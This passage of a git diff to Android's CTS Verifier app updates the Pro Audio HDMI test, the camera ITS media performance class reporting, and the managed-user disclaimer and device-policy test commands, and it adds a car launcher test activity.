+ e). Open the notification UI again, verify that the managed device notification is still shown \n
+ \n
+ f). Click \"Set Org\", and open the notification UI again, verify that the organization name
+ \"Foo, Inc\" is shown on the dialog \n
+ \n\n
+ 2. Check adding account is restricted\n\n
+ a) Click \"Go\" to launch the \"Profiles &amp; accounts\" setting \n
+ b) navigate to \"Add account\" \n
+ \n
+ Expected: \n
+ - \"Add account\" is disabled \n
+ - Click the button will launch the new user disclaimer dialog\n
+ \n
+ c) Click accept button\n
+ \n
+ Expected: \n
+ - the screen will be dismissed \n
+ - \"Add account\" will be enabled\n
+ - Click the button will take user to the screen to add account \n
+ </string>
<string name="device_owner_disallow_remove_user_info">
Please press \'Create uninitialized user\' to create a user that is not set up. Then press the
\'Set restriction\' button to set the user restriction.
@@ -5095,27 +5141,26 @@ You should be prompted to select credentials; choose the ones you just installed
<!-- Pro Audio Tests -->
<string name="pro_audio_latency_test">Pro Audio Test</string>
- <string name="proAudioHasProAudiolbl">Has Pro Audio</string>
- <string name="proAudioHasLLAlbl">Has Low-Latency Audio</string>
+ <string name="proAudioHasProAudiolbl">Has Pro Audio:</string>
+ <string name="proAudioHasLLAlbl">Has Low-Latency Audio:</string>
<string name="audioLoopbackInputLbl">Audio Input:</string>
<string name="audioLoopbackOutputLbl">Audio Output:</string>
-
- <string name="proAudioMidiHasMIDILbl">Has MIDI Support</string>
- <string name="proAudioMIDIInputLbl">MIDI Input:</string>
- <string name="proAudioMIDIOutputLbl">MIDI Output:</string>
+ <string name="proAudioMidiHasMIDILbl">Has MIDI Support:</string>
<string name="proAudioMidiHasUSBHostLbl">USB Host Mode:</string>
<string name="proAudioMidiHasUSBPeripheralLbl">USB Peripheral Mode:</string>
<string name="proAudioHDMISupportLbl">HDMI Support:</string>
<string name="proAudioHasHDMICheckBox">Has HDMI Support</string>
- <string name="proAudioLoopbackMoved">The latency measurement for Pro Audio has been moved to the Audio Loopback Latency Test</string>
<string name="audio_proaudio_NA">N/A</string>
- <string name="audio_proaudio_pending">pending...</string>
+ <string name="audio_proaudio_hdmiPending">pending...</string>
+ <string name="audio_proaudio_hdmiNotFound">No HDMI detected.</string>
<string name="audio_proaudio_nopa_title">Pro Audio Test</string>
<string name="audio_proaudio_nopa_message">This device does not set the FEATURE_AUDIO_PRO
flag and therefore does not need to run this test.</string>
+ <string name="hdmi_insufficient">The Connected HDMI device does not meet CDD requirements</string>
+
<!-- Various test status strings -->
<string name="audio_proaudio_pass">Pass</string>
<string name="audio_proaudio_latencytoohigh">Latency is too high</string>
@@ -5123,7 +5168,6 @@ You should be prompted to select credentials; choose the ones you just installed
<string name="audio_proaudio_midinotreported">"No MIDI support reported"</string>
<string name="audio_proaudio_usbhostnotreported">"No USB Host Mode support reported"</string>
<string name="audio_proaudio_usbperipheralnotreported">"No USB Peripheral Mode support reported"</string>
- <string name="audio_proaudio_hdminotvalid">HDMI support is reported by not valid.</string>
<!-- MIDI Test -->
<string name="midi_test">MIDI Test</string>
@@ -5711,9 +5755,18 @@ Follow the instructions on the screen to measure the frequency response for the
<!-- Pro Audio Test -->
<string name="proaudio_test">Pro Audio Test</string>
- <string name="proaudio_info">
- This test will check for validity of the \"Pro Audio\" and subsidiary flags. Note
- that this test no longer requires a loopback audio device.
+ <string name="proaudio_info">This tests that any device claiming \"Pro Audio\" meets the
+ requirements specified in the
+ <a href="https://source.android.com/compatibility/12/android-12-cdd#510_professional_audio">
+ CDD section 5.10. Professional Audio</a>
+ \n\nTo execute the test:
+ \n1. Note that all required flags report \"true\"
+ \n2. If the DUT supports HDMI:
+ \n a. Click the \"Has HDMI Support\" checkbox
+ \n b. Connect an HDMI device to the DUT
+ \n c. Verify that the reported HDMI attributes meet the specification.
+ \n\nNote that the latency measurement for Pro Audio has been moved to the
+ Audio Loopback Latency Test
</string>
<string name="proaudio_hdmi_infotitle">HDMI Support</string>
<string name="proaudio_hdmi_message">Please connect an HDMI peripheral to validate
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
index e34dce11d29..574d7b97a4e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
@@ -49,7 +49,7 @@ import java.util.logging.Logger;
/**
* Background task to generate a report and save it to external storage.
*/
-class ReportExporter extends AsyncTask<Void, Void, String> {
+public class ReportExporter extends AsyncTask<Void, Void, String> {
private static final String TAG = ReportExporter.class.getSimpleName();
private static final boolean DEBUG = true;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
index 4bfad0b4571..9efbc85752b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
@@ -16,6 +16,7 @@
package com.android.cts.verifier;
+import static com.android.cts.verifier.ReportExporter.LOGS_DIRECTORY;
import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
import static com.android.cts.verifier.TestListActivity.sInitialLaunch;
@@ -25,6 +26,7 @@ import android.content.Intent;
import android.database.ContentObserver;
import android.database.Cursor;
import android.os.AsyncTask;
+import android.os.Environment;
import android.os.Handler;
import android.view.LayoutInflater;
import android.view.View;
@@ -37,6 +39,7 @@ import com.android.compatibility.common.util.ReportLog;
import com.android.cts.verifier.TestListActivity.DisplayMode;
import java.io.ByteArrayInputStream;
+import java.io.File;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.ArrayList;
@@ -357,10 +360,27 @@ public abstract class TestListAdapter extends BaseAdapter {
class ClearTestResultsTask extends AsyncTask<Void, Void, Void> {
+ private void deleteDirectory(File file) {
+ for (File subfile : file.listFiles()) {
+ if (subfile.isDirectory()) {
+ deleteDirectory(subfile);
+ }
+ subfile.delete();
+ }
+ }
+
@Override
protected Void doInBackground(Void... params) {
ContentResolver resolver = mContext.getContentResolver();
resolver.delete(TestResultsProvider.getResultContentUri(mContext), "1", null);
+
+ // Apart from deleting metadata from content resolver database, need to delete
+ // files generated in LOGS_DIRECTORY. For example screenshots.
+ File resFolder = new File(
+ Environment.getExternalStorageDirectory().getAbsolutePath()
+ + File.separator + LOGS_DIRECTORY);
+ deleteDirectory(resFolder);
+
return null;
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
index 9804cd380fd..5ca2256787c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
@@ -17,11 +17,13 @@
package com.android.cts.verifier.audio;
import android.app.AlertDialog;
+import android.content.Context;
import android.content.DialogInterface;
-import android.content.pm.PackageManager;
import android.content.res.Resources;
+import android.media.AudioDeviceCallback;
import android.media.AudioDeviceInfo;
import android.media.AudioFormat;
+import android.media.AudioManager;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
@@ -80,6 +82,10 @@ public class ProAudioActivity
}
// HDMI Stuff
+ private boolean isHDMIConnected() {
+ return mHDMIDeviceInfo != null;
+ }
+
private boolean isHDMIValid() {
if (mHDMIDeviceInfo == null) {
return false;
@@ -130,21 +136,21 @@ public class ProAudioActivity
return true;
}
- protected void handleDeviceConnection(AudioDeviceInfo devInfo) {
+ protected void handleDeviceConnection(AudioDeviceInfo[] addedDevices) {
mHDMIDeviceInfo = null;
-
- if (devInfo.isSink() && devInfo.getType() == AudioDeviceInfo.TYPE_HDMI) {
- mHDMIDeviceInfo = devInfo;
+ for (AudioDeviceInfo deviceInfo : addedDevices) {
+ Log.i(TAG, " " + deviceInfo.getProductName() + " type:" + deviceInfo.getType());
+ if (deviceInfo.isSink() && deviceInfo.getType() == AudioDeviceInfo.TYPE_HDMI) {
+ mHDMIDeviceInfo = deviceInfo;
+ break;
+ }
}
if (mHDMIDeviceInfo != null) {
mClaimsHDMICheckBox.setChecked(true);
- mHDMISupportLbl.setText(getResources().getString(
- isHDMIValid() ? R.string.pass_button_text : R.string.fail_button_text));
}
- mHDMISupportLbl.setText(getResources().getString(R.string.audio_proaudio_NA));
- calculatePass();
+ displayTestResults();
}
private boolean calculatePass() {
@@ -174,8 +180,12 @@ public class ProAudioActivity
} else if (!mClaimsUSBPeripheralMode) {
mTestStatusLbl.setText(strings.getString(
R.string.audio_proaudio_usbperipheralnotreported));
- } else if (mClaimsHDMI && isHDMIValid()) {
- mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_hdminotvalid));
+ } else if (mClaimsHDMI) {
+ if (!isHDMIConnected()) {
+ mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_hdmiNotFound));
+ } else if (!isHDMIValid()) {
+ mTestStatusLbl.setText(strings.getString(R.string.hdmi_insufficient));
+ }
}
}
@@ -218,7 +228,10 @@ public class ProAudioActivity
mTestStatusLbl = (TextView)findViewById(R.id.proAudioTestStatusLbl);
- calculatePass();
+ AudioManager audioManager = getSystemService(AudioManager.class);
+ audioManager.registerAudioDeviceCallback(new TestAudioDeviceCallback(), null);
+
+ displayTestResults();
}
/**
@@ -286,27 +299,39 @@ public class ProAudioActivity
@Override
public void onClick(View view) {
switch (view.getId()) {
- case R.id.proAudioHasHDMICheckBox:
- if (mClaimsHDMICheckBox.isChecked()) {
- AlertDialog.Builder builder =
- new AlertDialog.Builder(this, android.R.style.Theme_Material_Dialog_Alert);
- builder.setTitle(getResources().getString(R.string.proaudio_hdmi_infotitle));
- builder.setMessage(getResources().getString(R.string.proaudio_hdmi_message));
- builder.setPositiveButton(android.R.string.yes,
- new DialogInterface.OnClickListener() {
- public void onClick(DialogInterface dialog, int which) {}
- });
- builder.setIcon(android.R.drawable.ic_dialog_alert);
- builder.show();
-
- mClaimsHDMI = true;
- mHDMISupportLbl.setText(getResources().getString(R.string.audio_proaudio_pending));
- } else {
- mClaimsHDMI = false;
- mHDMISupportLbl.setText(getResources().getString(R.string.audio_proaudio_NA));
- }
- calculatePass();
- break;
+ case R.id.proAudioHasHDMICheckBox:
+ if (mClaimsHDMICheckBox.isChecked()) {
+ AlertDialog.Builder builder = new AlertDialog.Builder(
+ this, android.R.style.Theme_Material_Dialog_Alert);
+ builder.setTitle(getResources().getString(R.string.proaudio_hdmi_infotitle));
+ builder.setMessage(getResources().getString(R.string.proaudio_hdmi_message));
+ builder.setPositiveButton(android.R.string.yes,
+ new DialogInterface.OnClickListener() {
+ public void onClick(DialogInterface dialog, int which) {
+ }
+ });
+ builder.setIcon(android.R.drawable.ic_dialog_alert);
+ builder.show();
+
+ mClaimsHDMI = true;
+ mHDMISupportLbl.setText(
+ getResources().getString(R.string.audio_proaudio_hdmiPending));
+ } else {
+ mClaimsHDMI = false;
+ mHDMISupportLbl.setText(getResources().getString(R.string.audio_proaudio_NA));
+ }
+ displayTestResults();
+ break;
+ }
+ }
+
+ private class TestAudioDeviceCallback extends AudioDeviceCallback {
+ public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
+ handleDeviceConnection(addedDevices);
+ }
+
+ public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
+ // NOP
}
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index 63d96879dea..3f836b10139 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -150,8 +150,6 @@ public class ItsService extends Service implements SensorEventListener {
// Performance class R version number
private static final int PERFORMANCE_CLASS_R = Build.VERSION_CODES.R;
- // Performance class S version number
- private static final int PERFORMANCE_CLASS_S = Build.VERSION_CODES.R + 1;
public static final int SERVERPORT = 6000;
@@ -737,9 +735,11 @@ public class ItsService extends Service implements SensorEventListener {
doCheckStreamCombination(cmdObj);
} else if ("isCameraPrivacyModeSupported".equals(cmdObj.getString("cmdName"))) {
doCheckCameraPrivacyModeSupport();
- } else if ("isPerformanceClassPrimaryCamera".equals(cmdObj.getString("cmdName"))) {
+ } else if ("isPrimaryCamera".equals(cmdObj.getString("cmdName"))) {
String cameraId = cmdObj.getString("cameraId");
- doCheckPerformanceClassPrimaryCamera(cameraId);
+ doCheckPrimaryCamera(cameraId);
+ } else if ("isPerformanceClass".equals(cmdObj.getString("cmdName"))) {
+ doCheckPerformanceClass();
} else if ("measureCameraLaunchMs".equals(cmdObj.getString("cmdName"))) {
String cameraId = cmdObj.getString("cameraId");
doMeasureCameraLaunchMs(cameraId);
@@ -1082,10 +1082,7 @@ public class ItsService extends Service implements SensorEventListener {
hasPrivacySupport ? "true" : "false");
}
- private void doCheckPerformanceClassPrimaryCamera(String cameraId) throws ItsException {
- boolean isPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_S
- || Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_R);
-
+ private void doCheckPrimaryCamera(String cameraId) throws ItsException {
if (mItsCameraIdList == null) {
mItsCameraIdList = ItsUtils.getItsCompatibleCameraIds(mCameraManager);
}
@@ -1116,8 +1113,15 @@ public class ItsService extends Service implements SensorEventListener {
throw new ItsException("Failed to get camera characteristics", e);
}
- mSocketRunnableObj.sendResponse("performanceClassPrimaryCamera",
- (isPerfClass && isPrimaryCamera) ? "true" : "false");
+ mSocketRunnableObj.sendResponse("primaryCamera",
+ isPrimaryCamera ? "true" : "false");
+ }
+
+ private void doCheckPerformanceClass() throws ItsException {
+ boolean isPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS >= PERFORMANCE_CLASS_R);
+
+ mSocketRunnableObj.sendResponse("performanceClass",
+ isPerfClass ? "true" : "false");
}
private double invokeCameraPerformanceTest(Class testClass, String testName,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
index 08cd8b24793..c8725bb4139 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
@@ -41,6 +41,9 @@ import java.util.Locale;
import java.util.Map;
import java.util.Set;
import java.util.TreeSet;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.FileNotFoundException;
@@ -77,6 +80,17 @@ public class ItsTestActivity extends DialogTestListActivity {
Arrays.asList(new String[] {RESULT_PASS, RESULT_FAIL, RESULT_NOT_EXECUTED}));
private static final int MAX_SUMMARY_LEN = 200;
+ private static final int MPC12_CAMERA_LAUNCH_THRESHOLD = 600; // ms
+ private static final int MPC12_JPEG_CAPTURE_THRESHOLD = 1000; // ms
+
+ private static final String MPC_TESTS_REPORT_LOG_NAME = "MediaPerformanceClassLogs";
+ private static final String MPC_TESTS_REPORT_LOG_SECTION = "CameraIts";
+
+ private static final Pattern MPC12_CAMERA_LAUNCH_PATTERN =
+ Pattern.compile("camera_launch_time_ms:(\\d+(\\.\\d+)?)");
+ private static final Pattern MPC12_JPEG_CAPTURE_PATTERN =
+ Pattern.compile("1080p_jpeg_capture_time_ms:(\\d+(\\.\\d+)?)");
+
private final ResultReceiver mResultsReceiver = new ResultReceiver();
private boolean mReceiverRegistered = false;
@@ -116,6 +130,10 @@ public class ItsTestActivity extends DialogTestListActivity {
private final HashMap<ResultKey, Boolean> mExecutedScenes = new HashMap<>();
// map camera id to ITS summary report path
private final HashMap<ResultKey, String> mSummaryMap = new HashMap<>();
+ // All primary cameras for which MPC level test has run
+ private Set<ResultKey> mExecutedMpcTests = null;
+ // Map primary camera id to MPC level
+ private final HashMap<String, Integer> mMpcLevelMap = new HashMap<>();
final class ResultKey {
public final String cameraId;
@@ -213,7 +231,6 @@ public class ItsTestActivity extends DialogTestListActivity {
// Update test execution results
for (String scene : scenes) {
- HashMap<String, String> executedTests = new HashMap<>();
JSONObject sceneResult = jsonResults.getJSONObject(scene);
Log.v(TAG, sceneResult.toString());
String result = sceneResult.getString("result");
@@ -241,6 +258,22 @@ public class ItsTestActivity extends DialogTestListActivity {
mSummaryMap.put(key, summary);
}
} // do nothing for NOT_EXECUTED scenes
+
+ if (sceneResult.isNull("mpc_metrics")) {
+ continue;
+ }
+ // Update MPC level
+ JSONArray metrics = sceneResult.getJSONArray("mpc_metrics");
+ for (int i = 0; i < metrics.length(); i++) {
+ String mpcResult = metrics.getString(i);
+ if (!matchMpcResult(cameraId, mpcResult, MPC12_CAMERA_LAUNCH_PATTERN,
+ "2.2.7.2/7.5/H-1-6", MPC12_CAMERA_LAUNCH_THRESHOLD) &&
+ !matchMpcResult(cameraId, mpcResult, MPC12_JPEG_CAPTURE_PATTERN,
+ "2.2.7.2/7.5/H-1-5", MPC12_JPEG_CAPTURE_THRESHOLD)) {
+ Log.e(TAG, "Error parsing MPC result string:" + mpcResult);
+ return;
+ }
+ }
}
} catch (org.json.JSONException e) {
Log.e(TAG, "Error reading json result string:" + results , e);
@@ -249,6 +282,7 @@ public class ItsTestActivity extends DialogTestListActivity {
// Set summary if all scenes reported
if (mSummaryMap.keySet().containsAll(mAllScenes)) {
+ // Save test summary
StringBuilder summary = new StringBuilder();
for (String path : mSummaryMap.values()) {
appendFileContentToSummary(summary, path);
@@ -260,6 +294,17 @@ public class ItsTestActivity extends DialogTestListActivity {
summary.toString(), 1.0, ResultType.NEUTRAL, ResultUnit.NONE);
}
+ // Save MPC info once both front primary and rear primary data are collected.
+ if (mExecutedMpcTests.size() == 4) {
+ ItsTestActivity.this.getReportLog().addValue(
+ "Version", "0.0.1", ResultType.NEUTRAL, ResultUnit.NONE);
+ for (Map.Entry<String, Integer> entry : mMpcLevelMap.entrySet()) {
+ ItsTestActivity.this.getReportLog().addValue(entry.getKey(),
+ entry.getValue(), ResultType.NEUTRAL, ResultUnit.NONE);
+ }
+ ItsTestActivity.this.getReportLog().submit();
+ }
+
// Display current progress
StringBuilder progress = new StringBuilder();
for (ResultKey k : mAllScenes) {
@@ -321,6 +366,29 @@ public class ItsTestActivity extends DialogTestListActivity {
}
}
}
+
+ private boolean matchMpcResult(String cameraId, String mpcResult, Pattern pattern,
+ String reqNum, float threshold) {
+ Matcher matcher = pattern.matcher(mpcResult);
+ boolean match = matcher.matches();
+
+ if (match) {
+ // Store test result
+ ItsTestActivity.this.getReportLog().addValue("Cam" + cameraId,
+ mpcResult, ResultType.NEUTRAL, ResultUnit.NONE);
+
+ float latency = Float.parseFloat(matcher.group(1));
+ int mpcLevel = latency < threshold ? 31 : 0;
+ mExecutedMpcTests.add(new ResultKey(cameraId, reqNum));
+
+ if (mMpcLevelMap.containsKey(reqNum)) {
+ mpcLevel = Math.min(mpcLevel, mMpcLevelMap.get(reqNum));
+ }
+ mMpcLevelMap.put(reqNum, mpcLevel);
+ }
+
+ return match;
+ }
}
@Override
@@ -388,6 +456,9 @@ public class ItsTestActivity extends DialogTestListActivity {
testTitle(cam, scene),
testId(cam, scene)));
}
+ if (mExecutedMpcTests == null) {
+ mExecutedMpcTests = new TreeSet<>(mComparator);
+ }
Log.d(TAG,"Total combinations to test on this device:" + mAllScenes.size());
}
}
@@ -427,4 +498,14 @@ public class ItsTestActivity extends DialogTestListActivity {
setInfoResources(R.string.camera_its_test, R.string.camera_its_test_info, -1);
setPassFailButtonClickListeners();
}
+
+ @Override
+ public String getReportFileName() {
+ return MPC_TESTS_REPORT_LOG_NAME;
+ }
+
+ @Override
+ public String getReportSectionName() {
+ return MPC_TESTS_REPORT_LOG_SECTION;
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java
new file mode 100644
index 00000000000..9fa9d7ee3ab
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/**
+ * Test Car Launcher Behavior with respect to Car Service actions.
+ */
+public class CarLauncherTestActivity extends PassFailButtons.Activity {
+
+ @Override
+ protected void onCreate(Bundle savedState) {
+ super.onCreate(savedState);
+ setContentView(getLayoutInflater().inflate(R.layout.car_launcher_test_main, null));
+ setPassFailButtonClickListeners();
+
+ // Sets the text in the dialog
+ setInfoResources(R.string.car_launcher_test,
+ R.string.car_launcher_test_desc, -1);
+
+ // Open the car launcher
+ findViewById(R.id.car_launcher_test_button).setOnClickListener(v -> {
+ this.startActivity(new Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_HOME));
+ });
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
index e7bced9ebf7..f6b179c5dd1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
@@ -80,6 +80,13 @@ public final class FeatureUtil {
}
/**
+ * Checks whether the device requires new user disclaimer acknowledgement for managed user.
+ */
+ public static boolean isNewManagerUserDisclaimerRequired(Context context) {
+ return isAutomotive(context);
+ }
+
+ /**
* Checks whether the device supports file transfer.
*/
public static boolean isUsbFileTransferSupported(Context context) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 218897f20f5..257d6dfd5ae 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -126,6 +126,7 @@ public class CommandReceiverActivity extends Activity {
public static final String COMMAND_ENABLE_USB_DATA_SIGNALING = "enable-usb-data-signaling";
public static final String COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY =
"set-required-password-complexity";
+ public static final String COMMAND_CHECK_NEW_USER_DISCLAIMER = "check-new-user-disclaimer";
public static final String EXTRA_USER_RESTRICTION =
"com.android.cts.verifier.managedprovisioning.extra.USER_RESTRICTION";
@@ -435,14 +436,14 @@ public class CommandReceiverActivity extends Activity {
PackageManager.DONT_KILL_APP);
} break;
case COMMAND_SET_ALWAYS_ON_VPN: {
- if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+ if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
return;
}
mDpm.setAlwaysOnVpnPackage(mAdmin, getPackageName(),
false /* lockdownEnabled */);
} break;
case COMMAND_CLEAR_ALWAYS_ON_VPN: {
- if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+ if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
return;
}
mDpm.setAlwaysOnVpnPackage(mAdmin, null /* vpnPackage */,
@@ -462,13 +463,13 @@ public class CommandReceiverActivity extends Activity {
mDpm.setRecommendedGlobalProxy(mAdmin, null);
} break;
case COMMAND_INSTALL_CA_CERT: {
- if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+ if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
return;
}
mDpm.installCaCert(mAdmin, TEST_CA.getBytes());
} break;
case COMMAND_CLEAR_CA_CERT: {
- if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+ if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
return;
}
mDpm.uninstallCaCert(mAdmin, TEST_CA.getBytes());
@@ -560,6 +561,7 @@ public class CommandReceiverActivity extends Activity {
case COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY: {
int complexity = intent.getIntExtra(EXTRA_VALUE,
DevicePolicyManager.PASSWORD_COMPLEXITY_NONE);
+ Log.d(TAG, "calling setRequiredPasswordComplexity(" + complexity + ")");
mDpm.setRequiredPasswordComplexity(complexity);
}
}
@@ -583,6 +585,15 @@ public class CommandReceiverActivity extends Activity {
return isIt;
}
+ /**
+ * Checks if the {@code packageName} is a device owner app, or a profile owner app in the
+ * headless system user mode.
+ */
+ private boolean isDeviceOwnerAppOrEquivalent(String packageName) {
+ return mDpm.isDeviceOwnerApp(packageName)
+ || (UserManager.isHeadlessSystemUserMode() && mDpm.isProfileOwnerApp(packageName));
+ }
+
private void installHelperPackage() throws Exception {
if (UserManager.isHeadlessSystemUserMode()) {
// App was already installed on user 0 (as instructed), so we just install it for the
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 44fb73e621d..449900c87da 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -710,6 +710,7 @@ public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListAct
private Intent createSetRequiredPasswordComplexityIntent(int complexity) {
return new Intent(this, CommandReceiverActivity.class)
+ .putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM, true)
.putExtra(CommandReceiverActivity.EXTRA_COMMAND,
CommandReceiverActivity.COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY)
.putExtra(CommandReceiverActivity.EXTRA_VALUE, complexity);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
index c18150e1aff..7aa1eaaca3c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
@@ -205,10 +205,10 @@ public class EnterprisePrivacyTestListActivity extends PassFailButtons.TestListA
new ButtonInfo(R.string.enterprise_privacy_open_settings,
new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
new ButtonInfo(R.string.enterprise_privacy_set_always_on_vpn,
- buildCommandIntent(
+ buildCommandIntentForCurrentUser(
CommandReceiverActivity.COMMAND_SET_ALWAYS_ON_VPN)),
new ButtonInfo(R.string.enterprise_privacy_finish,
- buildCommandIntent(
+ buildCommandIntentForCurrentUser(
CommandReceiverActivity.COMMAND_CLEAR_ALWAYS_ON_VPN))}));
adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_GLOBAL_HTTP_PROXY,
@@ -230,10 +230,10 @@ public class EnterprisePrivacyTestListActivity extends PassFailButtons.TestListA
new ButtonInfo(R.string.enterprise_privacy_open_settings,
new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
new ButtonInfo(R.string.enterprise_privacy_install_cert,
- buildCommandIntent(
+ buildCommandIntentForCurrentUser(
CommandReceiverActivity.COMMAND_INSTALL_CA_CERT)),
new ButtonInfo(R.string.enterprise_privacy_finish,
- buildCommandIntent(
+ buildCommandIntentForCurrentUser(
CommandReceiverActivity.COMMAND_CLEAR_CA_CERT))}));
if (Utils.isLockscreenSupported(this)) {
adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_FAILED_PASSWORD_WIPE,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
index 14ab277c03d..6ddcf71757d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
@@ -55,6 +55,7 @@ public class ManagedUserPositiveTestActivity extends PassFailButtons.TestListAct
private static final String DISABLE_KEYGUARD_TEST_ID = "DISABLE_KEYGUARD";
private static final String POLICY_TRANSPARENCY_TEST_ID = "POLICY_TRANSPARENCY";
private static final String DISALLOW_REMOVE_USER_TEST_ID = "DISALLOW_REMOVE_USER";
+ private static final String CHECK_NEW_USER_DISCLAIMER_TEST_ID = "CHECK_NEW_UESR_DISCLAIMER";
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -111,6 +112,19 @@ public class ManagedUserPositiveTestActivity extends PassFailButtons.TestListAct
}
private void addTestsToAdapter(final ArrayTestListAdapter adapter) {
+ // Check managed user's new user disclaimer
+ if (FeatureUtil.isNewManagerUserDisclaimerRequired(this)) {
+ adapter.add(createInteractiveTestItem(this, CHECK_NEW_USER_DISCLAIMER_TEST_ID,
+ R.string.check_new_user_disclaimer,
+ R.string.check_new_user_disclaimer_info,
+ new ButtonInfo[]{
+ new ButtonInfo(
+ R.string.device_owner_settings_go,
